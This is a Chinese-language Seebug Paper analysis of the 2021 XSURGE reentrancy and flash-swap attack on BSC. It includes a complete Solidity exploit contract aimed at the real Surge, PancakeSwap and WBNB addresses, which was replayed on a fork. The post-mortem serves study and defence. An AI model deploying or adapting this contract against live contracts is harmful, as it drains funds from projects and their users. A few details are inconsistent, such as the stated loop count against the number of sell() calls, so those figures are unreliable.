作者:w2ning
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

概述

上周8 月 17 日,BSC上的XSURGE被攻擊。 攻擊者利用閃電貸+重入攻擊反復低買高賣, 導致項目損失約500萬美金。

本文嘗試對漏洞原理進行分析,并搭建環境完整復現整個攻擊流程。

問題代碼

  • sell() 函數中存在Low-level-call函數調用,雖然使用了nonReentrant(), 但無法防御其他函數被異常調用的攻擊場景

  • 這里的賣出邏輯在順序上有誤,BNB已經被返回給用戶,而_totalSupply還未被更改

  • Surge的價格由該合約地址的BNB余額和_totalSupply計算而來 image

  • 既然有sell() 函數, 那是不是應該有buy()函數呢?并沒有,直到我發現了purchase() image

  • 好吧,是我詞匯量太差了 image

  • purchase()函數在receive()中觸發 image

  • Solidity 0.6.0之后的版本中,無名函數被分化成了fallback()receive()

一個合約只能有一個receive函數,該函數不能有參數和返回值,需設置為external,payable;

當該合約收到BNB但并未被調用任何函數,未接受任何數據,receive函數將被觸發;

  • 也就是說我們可以通過直接向合約轉賬的方式購買Surge

該合約代碼中,處處顯露著開發者抖的小機靈,字里行間寫滿著不規范。 項目方直接在Token合約中提供了流動性。 連在DEX上提供交易對的步驟都可以省略,土狗的氣息撲面而來。

事件分析

  • 攻擊合約
0x59c686272e6f11dC8701A162F938fb085D940ad3
  • 攻擊交易
0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2

imaga

  • 被攻擊合約同時也是SurgeToekn合約地址
0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21

攻擊流程

  • 第一步 從Pancake 通過flashSwap借出 10000 個WBNB

由于PancakeSwap 借鑒了Uniswap V2的代碼,所以同樣擁有flashSwap的功能

雖然Pancake的官方文檔并沒有提及這一功能,但不代表它沒有

顯然,PancakeSwap上的flashSwap調用方法與Uniswap V2也沒有區別

https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps image

  • 第二步 把10000個WBNB換成10000個BNB

如果WBNBWETH10一樣提供flashMint就更方便了

  • 循環攻擊SurgeToken合約(共6次)

image

  • 調用WBNB的Deposit,把賺到的22191個BNB存入,換成等額的WBNB

image

  • 調用WBNB的transfer,把10030個WBNB歸還給Pancake

image

  • 調用WBNB合約的Withdrawal,把12161個WBNB取出,完成攻擊

image

復現方法

  • 攻擊發生在高度為10087724的塊上,所以同樣我們選擇稍早的塊10087723去Fork。

  • 在編寫攻擊代碼的過程中,我嘗試用solidity 0.8.0高版本去還原攻擊者的全部流程。

  • 要注意的是,在receive()函數中要區分向攻擊合約發送BNB的地址是來自WBNB合約還是SurgeToken合約

  • 因為攻擊流程中,WBNB也會向攻擊合約發送BNB,此時不應該觸發攻擊邏輯。

receive() external payable {
    // 如果轉賬地址為SurgerToken,且循環次數不滿6次,則觸發攻擊邏輯
    if(msg.sender == Surge_Address && time < 6){

        // 此時SurgeToken的TotalSupply還未更改
        // 而賣出操作返還的BNB已經打回了攻擊合約賬戶
        // 通過重入,強行購買,就可以用更低的價格購買Surge
        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
        time++;
}
  • 而在調用PancakeSwapFlashSwap功能處,為了不引入外部文件,我并沒有選擇套利者通用的代碼模板, 而是自己寫了簡陋的interface,把Pair地址寫死,而不是去PancakeFactory上查詢,在已知Token0Token1的情況下,也沒有加入校驗的邏輯。終于完成了對該功能的最小化實現。

  • 完整攻擊合約代碼

// SPDX-License-Identifier: Apache-2.0
pragma solidity =0.8.0;

interface IpancakePair{
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;

    function token0() external view returns (address);
    function token1() external view returns (address);

}

interface WBNB {

    function deposit() payable external;
    function withdraw(uint wad) external;
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
}


interface Token {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
}

interface Surge{
    function sell(uint256 tokenAmount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external  returns (bool);
}


contract  test{

    address private constant cake_Address = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;

    address private constant WBNB_Address = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;

    address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;

    address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;

    // 這里填你自己的測試地址
    address public wallet = 0x8F14c19ed3d592039D2F6aD372bd809228369D77;

    uint8 public time = 0;



    function Attack()external {

        // Brrow 10000 WBNB
        bytes memory data = abi.encode(WBNB_Address, 10000*1e18);

        IpancakePair(Pancake_Pair_Address).swap(0,10000*1e18,address(this),data);

    }

    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external{

        //把WBNB換成BNB
        WBNB(WBNB_Address).withdraw(WBNB(WBNB_Address).balanceOf(address(this)));

        // Buy
        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");

        //循環6次
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));

        //把所有BNB換成WBNB
        WBNB(WBNB_Address).deposit{value: address(this).balance}();

        //還給PancakeSwap 10030個WBNB
        Token(WBNB_Address).transfer(Pancake_Pair_Address, 10030*1e18);
        WBNB(WBNB_Address).transfer(wallet,WBNB(WBNB_Address).balanceOf(address(this)));
    }



    receive() external payable {

        if(msg.sender == Surge_Address && time < 6){

            (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");

            time++;

        }
    }

}
  • 攻擊前的Metamask錢包余額 image

  • 部署合約 點擊Attack

image

  • 攻擊完成后地址上多了11869個WBNB (本來應該還給Pancake 10030個WBNB的,代碼寫錯了還了10300個...)

image


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1686/